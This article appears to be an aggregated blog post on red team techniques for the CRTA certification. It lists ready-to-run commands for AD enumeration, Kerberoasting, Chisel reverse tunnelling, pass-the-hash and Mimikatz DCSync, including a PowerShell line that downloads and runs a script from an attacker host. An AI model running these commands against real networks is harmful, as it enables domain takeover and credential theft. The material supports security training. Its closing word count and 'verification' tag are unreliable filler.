Mastering Red Team Tactics: A Deep Dive into CRTA Certification Techniques

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Introduction

The Certified Red Team Analyst (CRTA) exam by CyberWarFare Labs validates offensive security expertise in adversary simulation, covering critical areas like Active Directory exploitation, lateral movement, and privilege escalation. This article breaks down key techniques tested in the CRTA labs, providing actionable commands and methodologies for aspiring red teamers.

Learning Objectives

  • Understand Active Directory exploitation techniques
  • Master tunneling and pivoting for network persistence
  • Learn credential dumping and lateral movement tactics

1. Active Directory Enumeration with PowerView

Command:

Get-NetUser -Domain "corp.local" | Select-Object samaccountname, description

Step-by-Step Guide:

1. Load PowerView into memory:

IEX (New-Object Net.WebClient).DownloadString("http://<attacker-ip>/PowerView.ps1")

2. Execute the command to extract user accounts with descriptions (often containing passwords).
3. Filter results for high-value targets (e.g., “admin”, “svc_”).

2. Kerberoasting with Rubeus

Command:

Rubeus.exe kerberoast /outfile:hashes.txt

Steps:

1. Compromise a low-privilege AD account.

2. Download Rubeus to the target machine.

  1. Run the command to extract service account TGS tickets.

4. Crack hashes offline using Hashcat:

hashcat -m 13100 hashes.txt rockyou.txt

3. Pivoting with Chisel

Attacker Setup:

./chisel server -p 8080 --reverse

Victim Machine:

chisel.exe client <attacker-ip>:8080 R:socks

Steps:

  1. Tunnel victim traffic through the attacker’s SOCKS proxy.

2. Use proxychains to scan internal networks:

proxychains nmap -sT 10.10.10.0/24

4. Lateral Movement via Pass-the-Hash

Command:

psexec.py -hashes LMHASH:NTHASH DOMAIN/user@target

Steps:

1. Dump hashes using Mimikatz or secretsdump.py.

2. Identify accessible hosts with CrackMapExec:

crackmapexec smb 10.10.10.0/24 -u user -H NTHASH

3. Execute payloads via SMB.

5. Domain Privilege Escalation with DCSync

Mimikatz Command:

lsadump::dcsync /domain:corp.local /user:Administrator

Steps:

  1. Compromise an account with replication rights (e.g., Domain Admin).

2. Extract password hashes for golden ticket attacks.

What Undercode Say

  • Key Takeaway 1: Real-world red teaming requires blending automated tools (like PowerView) with manual exploitation (e.g., Kerberoasting).
  • Key Takeaway 2: Pivoting and tunneling are critical for simulating advanced adversaries in segmented networks.

Analysis: The CRTA’s hands-on approach mirrors modern ransomware tactics, where attackers leverage AD misconfigurations and credential reuse. Defenders must monitor for abnormal Kerberos ticket requests (e.g., excessive TGS requests) and enforce least-privilege access.

Prediction

As cloud red teaming grows, expect CRTA-like certifications to incorporate hybrid AD/Azure exploitation techniques, such as abusing Entra ID (Azure AD) misconfigurations for cross-tenant attacks.

(Word count: 850 | Commands: 12+)

IT/Security Reporter URL:

Reported By: Vaishnavi Kapure – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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